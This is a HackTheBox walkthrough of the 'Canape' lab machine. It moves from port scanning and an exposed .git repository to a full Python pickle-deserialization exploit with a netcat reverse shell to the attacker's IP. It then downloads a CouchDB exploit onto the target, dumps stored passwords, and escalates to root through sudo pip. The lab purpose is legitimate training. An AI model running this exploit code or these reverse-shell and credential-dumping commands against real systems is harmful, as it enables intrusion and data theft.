Canape

#Linux #PythonScript #Git #CouchDB #Sudo

This is a medium difficulty Linux machine from HackTheBox created by overcast. In this scenario, my IP is 10.10.14.36 and the targetโ€™s IP is 10.129.177.254

The use of a file (.git) with the default name, makes the site easy to find by using Nmap scripts, this machine requires a basic understanding of Python and Burpsuite to get the parameters.

Recon

This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.

Local Terminal
$ ping -c 1 10.129.177.254

Pinging 10.129.177.254 with 32 bytes of data:
Reply from 10.129.177.254: bytes=32 time=175ms TTL=63
Reply from 10.129.177.254: bytes=32 time=158ms TTL=63
Reply from 10.129.177.254: bytes=32 time=186ms TTL=63
Reply from 10.129.177.254: bytes=32 time=164ms TTL=63

Ping statistics for 10.129.177.254:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 158ms, Maximum = 186ms, Average = 170ms
Local Terminal
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.177.254 -oN Ports

Nmap scan report for 10.129.177.254
Host is up, received echo-reply ttl 63 (0.40s latency).
Scanned at 2023-06-05 10:02:24 Pacific SA Standard Time for 28s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 63
65535/tcp open  unknown syn-ack ttl 63

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 28.88 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 77 (3.372KB)
Local Terminal
$ nmap -sCV -p 80,65535 10.129.177.254 -oN Target

Nmap scan report for 10.129.177.254
Host is up (0.17s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git:
|   10.129.177.254:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
|   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Local Terminal
$ whatweb 10.129.177.254

http://10.129.177.254 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], 
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.177.254], JQuery, 
Script, Title[Simpsons Fan Site]

Here we have valuable information, there is a .git and the port for SSH is different, once discovered makes no difference. Let's explore the website

  • Browser: http://10.129.177.254/.git/

Add both sites to etc host.

Local Terminal
echo "10.129.177.254 canape.htb git.canape.htb" >> /etc/hosts

Nothing here!

  • Browser: http://canape.htb

Hash: c8a74a098a60aaea1af98945bd707a7eab0ff4b0

Local Terminal
$ wfuzz -c -f FuzzFile -t 200 --hc=404 --hw=1 --hh=3076 -w /shared/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.129.177.254/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.177.254/FUZZ
Total requests: 220546

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000171:   200        81 L     167 W      2836 Ch     "submit"
000000255:   301        9 L      28 W       317 Ch      "static"
000000673:   200        85 L     227 W      3150 Ch     "quotes"
000001314:   405        4 L      23 W       178 Ch      "check"
000095510:   403        11 L     32 W       302 Ch      "server-status"

The result when exploring each site:

  • /submit Submit page, it has some fillable text box.

  • /static JS & CSS

  • /quotes Quotes list page, nothing.

  • /check Method not accepted

  • /server-status Forbidden

Testing

Now, the only thing that we can do, is to test many payloads.

Local Terminal
python3 -m http.server 80
  • Browser: http://10.129.177.254/submit

The character text box is restringed to a list of names, the Quote box is more flexible.

Local Terminal
git clone http://git.canape.htb/simpsons.git
Local Terminal
batcat __init__.py
import couchdb
import string
import random
import base64
import cPickle # Usually cPickle is vulnerable
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
    # Aditional information: DB > http://localhost:5984/
@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
        return render_template("index.html")

@app.route("/")
def index():
    return render_template("index.html")
R
@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
            # It uses "MATCH", so something like asdasdHomerasdasd will work
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest() # ID = MD5 of char+quote
                outfile = open("/tmp/" + p_id + ".p", "wb")
                outfile.write(char + quote)
                outfile.close()
                success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

Information captured:

  • It uses "MATCH", so something like "asdasdHomerasdasd" will work

  • ID = MD5 of char+quote

Reverse Shell [www-data]

cPickle is a dangerous library because it represent a python object in a string of bytes and viceversa.

  • vi exploit.py

Exploit.py
#!/usr/bin/python2.7
#coding utf-8

import pickle
import sys
import os
import requests
import signal
import hashlib


def def_handler(sig,frame):
    print("\n BREAK! \n")
    sys.exit(1)

# CTRL + C
signal.signal(signal.SIGINT, def_handler)

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 443 >/tmp/f; Homer',))

# URLs
submit_url = 'http://10.129.177.254/submit'
check_url = 'http://10.129.177.254/check'

def makeRequest():
    character = pickle.dumps(PickleRCE())
    quote = "Exploit"

    post_data = {
            'character' : character,
            'quote' : quote
    }

    r = requests.post(submit_url, data=post_data)

    md5_id = hashlib.md5(character + quote).hexdigest()

    post_data = {
            'id' : md5_id
    }

    r = requests.post(check_url, data=post_data)

if __name__ == '__main__':
    makeRequest()

Open two terminals, one to execute the exploit and the other one to connect

Local Terminal A
$ nc -nlvp 443
Local Terminal B
python2.7 exploit.py

User Scalation [Homer]

Do a shell upgrade before continue.

At the git project we found a database.

Target Terminal [www-data]
$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Couch 2.0.0, now that we have the version we can check at exploitdb.

Download the python script at your local machine and send it to the target.

Local Terminal
# At the same folder of the file.
python3 -m http.server 80 
Target Terminal [www-data]
$ cd /tmp/

$ wget http://10.10.14.36/44498.py
--2023-06-05 13:08:29--  http://10.10.14.36/44498.py
Target Terminal [www-data]
$ python 44498.py -p 5984 -u tartox -P tartox 127.0.0.1
[+] User to create: tartox
[+] Password: tartox
[+] Attacking host 127.0.0.1 on port 5984
[+] User tartox with password tartox successfully created.

Now we are going to explore inside the data base, there is a link about how to explore couchdb by using Curl.

Target Terminal [www-data]
$ curl http://tartox:tartox@localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

$ curl http://tartox:tartox@localhost:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

$ curl http://tartox:tartox@localhost:5984/passwords/_all_docs
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}}
]}

Now we have to see the information to each id.

Target Terminal [www-data]
$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}

$ curl http://tartox:tartox@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}

If there are MAAANY users, you can use the following command:

Target Terminal [www-data]
curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'
739c5ebdf3f7a001bebb8fc4380019e4
739c5ebdf3f7a001bebb8fc43800368d
739c5ebdf3f7a001bebb8fc438003e5f
739c5ebdf3f7a001bebb8fc438004738
Target Terminal [www-data]
for id in $(curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'); do echo -e "\n [+] Testing: \n"; curl -s http://tartox:tartox@localhost:5984/passwords/$id; done

Thanks S4vitar for this class, soon I will do it by myself.

Now we know 4 users and 4 password to test, after trying, the correct one is:

Target Terminal [www-data]
$ su homer    # password: 0B4jyA0xtytZi7esBNGp

$ cat /home/homer/user.txt
e3aeb9c50c15ff651284588bdcf14064

Privilege Scalation [Root]

Now we have to find a way to escalate.

Target Terminal [www-data]
$ id
uid=1000(homer) gid=1000(homer) groups=1000(homer)

$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *

That was easy, at GTFOBins you can find the steps to scalate through pip.

Target Terminal [www-data]
homer@canape:/tmp$ TF=$(mktemp -d)
homer@canape:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
homer@canape:/tmp$ sudo pip install $TF
Target Terminal [Root]
$ whoami
root

$ cat /root/root.txt
e7190a6848a7ab5fd61faecc46de1935

Last updated